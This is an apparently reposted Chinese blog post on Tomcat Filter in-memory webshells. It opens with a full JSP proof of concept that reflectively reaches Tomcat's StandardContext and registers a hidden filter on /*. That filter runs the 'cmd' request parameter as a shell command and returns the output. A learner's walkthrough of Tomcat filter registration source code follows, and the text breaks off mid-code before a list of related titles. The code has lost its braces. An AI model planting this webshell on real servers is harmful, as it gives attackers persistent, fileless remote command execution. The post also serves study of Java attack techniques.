Tomcat Filter内存马

Posted bfengj

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Tomcat Filter内存马相关的知识,希望对你有一定的参考价值。

前言

之前学了flask的内存马,一直都想学学Java的内存马,所以就学了Tomcat Filter内存马,感觉还是太菜了呜呜呜好难看不太懂。最近学Java写下的文章都不太想发出来了,因为自己本身就没搞懂,都是迷迷糊糊的,看着各种文章上面说是怎么怎么样,然后分析了一波,给出了POC和结论,我是除了会用POC其他一点都没看太懂,只能说自己还是太菜了呜呜呜。

主要跟着天下大木头师傅的文章进行学习。

POC

注意命令执行那里放的是windows的,linux用注释里面的。

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%
    ServletContext servletContext = request.getServletContext();
    ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
    Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
    applicationContextFacadeContext.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
    Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
    applicationContextContext.setAccessible(true);
    StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);

    Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
    String filterName = "ego";
    if (hashMap.get(filterName)==null)

        Filter filter = new Filter() 
            @Override
            public void init(FilterConfig filterConfig) throws ServletException 
                //Filter.super.init(filterConfig);
                //System.out.println("内存马init");
            

            @Override
            public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException 
                if (request.getParameter("cmd")!=null)
                    //String[] cmds = "/bin/sh","-c",request.getParameter("cmd")
                    String[] cmds = "cmd","/c",request.getParameter("cmd");
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    byte[] bcache = new byte[1024];
                    int readSize = 0;
                    try(ByteArrayOutputStream outputStream = new ByteArrayOutputStream())
                        while ((readSize =in.read(bcache))!=-1)
                            outputStream.write(bcache,0,readSize);
                        
                        response.getWriter().println(outputStream.toString());
                    
                


            

            @Override
            public void destroy() 
                Filter.super.destroy();
            
        ;
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
        hashMap.put(filterName,applicationFilterConfig);
        response.getWriter().println("inject successfully");
    
%>

运行这个jsp马之后就成功注入了内存马:

环境

tomcat环境(版本需要为7.x以上)

因为关键的代码都在tomcat里面,IDEA直接找不到tomcat里面的代码,需要进行导入。

project structure里面找到libraries,点加号,Java:

然后把tomcat的lib下面的所有jar包都给导进来就行了:

分析

想学的师傅们就别看我的分析了,上网上找各种文章叭,因为我自己都有点迷。

首先可以了解一下,Filter是怎么产生的。在Servlet中写Filter有两种方式,一种是把filter配置写到web.xml中,一种就是写注解:

@WebFilter("/*")

看一下ContextConfig.classprocessClass()

    protected void processClass(WebXml fragment, JavaClass clazz) 
        AnnotationEntry[] annotationsEntries = clazz.getAnnotationEntries();
        if (annotationsEntries != null) 
            String className = clazz.getClassName();
            AnnotationEntry[] var5 = annotationsEntries;
            int var6 = annotationsEntries.length;

            for(int var7 = 0; var7 < var6; ++var7) 
                AnnotationEntry ae = var5[var7];
                String type = ae.getAnnotationType();
                if ("Ljavax/servlet/annotation/WebServlet;".equals(type)) 
                    this.processAnnotationWebServlet(className, ae, fragment);
                 else if ("Ljavax/servlet/annotation/WebFilter;".equals(type)) 
                    this.processAnnotationWebFilter(className, ae, fragment);
                 else if ("Ljavax/servlet/annotation/WebListener;".equals(type)) 
                    fragment.addListener(className);
                
            
        

发现如果匹配到了Ljavax/servlet/annotation/WebFilter,就进入processAnnotationWebFilter()

首先是:

        FilterDef filterDef = (FilterDef)fragment.getFilters().get(filterName);
        FilterMap filterMap = new FilterMap();
        boolean isWebXMLfilterDef;
        if (filterDef == null) 
            filterDef = new FilterDef();
            filterDef.setFilterName(filterName);
            filterDef.setFilterClass(className);
            isWebXMLfilterDef = false;
         else 
            isWebXMLfilterDef = true;
        

产生``FilterDefFilterMap`,这也是将贯穿始终的两个类型。

看一下fragment,发现是个Webxml

实际上也就是和web.xml相关联的一个变量,如果web.xml里面没有配置Filter,(FilterDef)fragment.getFilters().get(filterName);就得不到,所以isWebXMLfilterDef = false;

之后就是对FilterDefFilterMap的处理了。FilterDef里面有filter的name和class,就相当于xml中的这个:


<filter>
    <filter-name>filter1</filter-name>
    <filter-class>com.feng.filter1</filter-class>
</filter>

而filterMap里面就是filter的nam和url-pattern,相当于xml中的:


<filter-mapping>
    <filter-name>filter1</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

经过处理后,就把它们添加到fragment中。

if (!isWebXMLfilterDef) 
    fragment.addFilter(filterDef);
    if (urlPatternsSet || servletNamesSet) 
        filterMap.setFilterName(filterName);
        fragment.addFilterMapping(filterMap);
    

                if (!isWebXMLfilterDef) 
                    fragment.addFilter(filterDef);
                    if (urlPatternsSet || servletNamesSet) 
                        filterMap.setFilterName(filterName);
                        fragment.addFilterMapping(filterMap);
                    
                

而这些东西,最后都是到了Context(StandardContext)中,跳过其中的一些细节,知道即可:

        FilterDef filter;
        for(var2 = webxml.getFilters().values().iterator(); var2.hasNext(); this.context.addFilterDef(filter)) 
            filter = (FilterDef)var2.next();
            if (filter.getAsyncSupported() == null) 
                filter.setAsyncSupported("false");
            
        
        var2 = webxml.getFilterMappings().iterator();

        while(var2.hasNext()) 
            FilterMap filterMap = (FilterMap)var2.next();
            this.context.addFilterMap(filterMap);
        

而filter又是怎么调用呢?继续打断点跟进,入口在ApplicationFilterFactory.classcreateFilterChain()方法中:

    public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) 
        if (servlet == null) 
            return null;
         else 
            ApplicationFilterChain filterChain = null;
            if (request instanceof Request) 
                Request req = (Request)request;
                if (Globals.IS_SECURITY_ENABLED) 
                    filterChain = new ApplicationFilterChain();
                 else 
                    filterChain = (ApplicationFilterChain)req.getFilterChain();
                    if (filterChain == null) 
                        filterChain = new ApplicationFilterChain();
                        req.setFilterChain(filterChain);
                    
                
             else 
                filterChain = new ApplicationFilterChain();
            

            filterChain.setServlet(servlet);
            filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
            StandardContext context = (StandardContext)wrapper.getParent();
            FilterMap[] filterMaps = context.findFilterMaps();
            if (filterMaps != null && filterMaps.length != 0) 
                DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
                String requestPath = null;
                Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
                if (attribute != null) 
                    requestPath = attribute.toString();
                

                String servletName = wrapper.getName();
                FilterMap[] var10 = filterMaps;
                int var11 = filterMaps.length;

                int var12;
                FilterMap filterMap;
                ApplicationFilterConfig filterConfig;
                for(var12 = 0; var12 < var11; ++var12) 
                    filterMap = var10[var12];
                    if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) 
                        filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
                        if (filterConfig != null) 
                            filterChain.addFilter(filterConfig);
                        
                    
                

看一下处理逻辑,先是声明一个类型为ApplicationFilterChainfilterChain,这个也是很重要的。

然后在这里调用getParent()获取当前的Context:

上面也提到了,之前的那些FilterDef还有FilterMap都放到了这个context里面:

继续往下看,从context中得到filterMaps之后进行遍历:

如果当前请求的path和filterMap中的url-pattern匹配了,就产生这么一个ApplicationFilterConfigfilterConfig(可以发现它也是从context中取得了,这个也很重要!),然后调用了addFilter

    void addFilter(ApplicationFilterConfig filterConfig) 
        ApplicationFilterConfig[] newFilters = this.filters;
        int var3 = newFilters.length;

        for(int var4 = 0; var4 < var3; ++var4) 
            ApplicationFilterConfig filter = newFilters[var4];
            if (filter == filterConfig) 
                return;
            
        

        if (this.n == this.filters.length) 
            newFilters = new ApplicationFilterConfig[this.n + 10];
            System.arraycopy(this.filters, 0, newFilters, 0, this.n);
            this.filters = newFilters;
        

        this.filters[this.n++] = filterConfig;
    

先判断当前的this.filters里面有没有,没有的话把它添加进去,可能还有一个扩容的处理。

这样chainFilter就组建完毕。需要注意的是,是每次发起Servlet请求都会有这样的一次chainFilter的处理,把所有urlpattern满足请求的path的filter都装入chain中,这也就容易联想到Filter中doFilter的那个chain.doFilter

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException 
        chain.doFilter(request, response);
    

装配完这个chain有什么用呢?继续跟进StandardWrapperValve.classinvoke()方法,跟进到这一行(实际上也可以在自己写的Filter里面打断点,然后回看之前的栈也可以找到):

调用了filterChaindoFilter()方法,跟进后继续跟进internalDoFilter()方法

    public void doFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException 
        if (Globals.IS_SECURITY_ENABLED) 
            tomcat无文件内存webshell

Tomcat Filter内存马

Tomcat Filter内存马

马内霍·德费查斯

Java安全之基于Tomcat的Servlet&Listener内存马

冰蝎改造之适配基于tomcat Filter的无文件webshell